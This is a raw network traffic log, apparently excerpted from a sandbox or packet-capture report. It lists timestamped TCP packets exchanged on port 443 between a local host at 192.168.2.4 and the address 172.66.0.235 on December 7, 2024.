                                                                                                                                                                  Dec 7, 2024 15:43:22.303102970 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.303148985 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.308811903 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.308825970 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.308913946 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.308918953 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.308959961 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.315063000 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.315077066 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.315154076 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.315160036 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.315200090 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.319447994 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.319484949 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.319526911 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.319533110 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.319561958 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.321106911 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.321155071 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.321161032 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.321197987 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.476732969 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.476764917 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.476804018 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.476809978 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.476850986 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.482793093 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.482806921 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.482867002 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.482872963 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.489197016 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.489209890 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.489260912 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.489267111 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.494322062 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.494335890 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.494389057 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.494395018 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.496001959 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.496054888 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.496061087 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.496109009 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.500757933 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.500790119 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.500819921 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.500825882 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.500861883 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.506366968 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.506381035 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.506428003 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.506433964 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.506479979 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.512450933 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.512469053 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.512507915 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.512512922 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.512552023 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.514219999 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.514272928 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.514277935 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.514322996 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.518455029 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.518486977 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.518512964 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.518517017 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.518556118 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.519490004 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.519537926 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.519542933 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.519582987 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.670523882 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.670542002 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.670639038 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.670650005 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.670692921 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.672084093 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.672142982 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.677588940 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.677603006 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.677668095 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.677675009 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.683708906 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.683729887 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.683763981 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.683770895 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.683796883 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.688102007 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.688133955 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.688162088 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.688168049 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.688179970 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.688196898 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.694266081 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.694279909 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.694331884 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.694338083 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.694379091 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.700078011 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.700092077 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.700144053 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.700151920 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.700186968 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.706152916 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.706166983 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.706221104 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.706227064 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.706262112 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.710551023 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.710608006 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.710635900 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.710639954 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.710665941 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.712349892 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.712400913 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.712407112 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.712447882 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.860357046 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.860497952 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.860503912 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.866048098 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.866064072 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.866144896 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.866152048 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.871464014 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.871478081 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.871534109 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.871541023 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.871563911 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.874849081 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.874908924 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.874913931 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.877506971 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.877568007 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.877573967 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.879288912 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.879334927 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.879339933 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.879383087 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.880265951 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.880322933 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.886452913 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.886471987 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.886538029 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.886544943 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.892235041 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.892256975 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.892304897 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.892308950 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.892340899 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.898272991 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.898299932 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.898371935 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.898379087 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.904469967 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.904488087 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.904521942 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.904526949 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.904561043 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.959331989 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.054539919 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.054580927 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.054651022 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.054657936 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.054677010 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.059681892 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.059696913 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.059761047 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.059768915 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.065715075 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.065730095 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.065771103 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.065777063 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.065813065 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.071897030 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.071914911 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.071966887 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.071971893 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.072899103 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.072952032 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.072957039 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.073005915 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.079183102 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.079196930 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.079253912 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.079258919 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.079294920 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.084826946 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.084849119 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.084914923 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.084919930 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.084955931 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.090913057 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.090928078 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.090982914 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.090990067 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.091029882 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.097088099 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.097104073 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.097162008 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.097167015 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.097201109 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.246365070 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.246411085 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.246500969 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.246506929 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.246536970 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.252619982 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.252634048 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.252695084 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.252701044 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.255264997 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.255455017 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.255460978 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.257823944 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.257888079 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.257893085 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.264187098 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.264200926 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.264264107 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.264270067 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.265647888 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.265698910 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.265710115 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.265753984 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.271862030 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.271874905 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.271934986 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.271940947 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.271980047 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.277596951 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.277611017 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.277744055 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.277749062 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.277790070 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.282987118 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.283001900 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.283080101 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.283085108 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.283124924 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.289467096 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.289480925 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.289549112 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.289554119 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.289591074 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.438843966 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.438889027 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.438966036 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.438973904 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.439007044 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.444297075 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.444310904 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.444374084 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.444380045 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.446039915 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.446089029 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.446094990 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.446130991 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.452088118 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.452101946 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.452162027 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.452167988 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.452217102 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.456505060 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.456545115 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.456563950 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.456568003 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.456594944 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.458264112 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.458332062 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.458337069 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.458374023 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.463694096 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.463710070 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.463762999 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.463768959 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.463804960 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.469485998 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.469500065 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.469556093 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.469562054 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.469595909 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.475651979 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.475667000 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.475720882 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.475724936 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.475761890 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.481687069 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.481705904 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.481767893 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.481772900 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.481808901 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:23.632704973 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.632719994 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:23.632827044 CET49730443192.168.2.4172.66.0.235
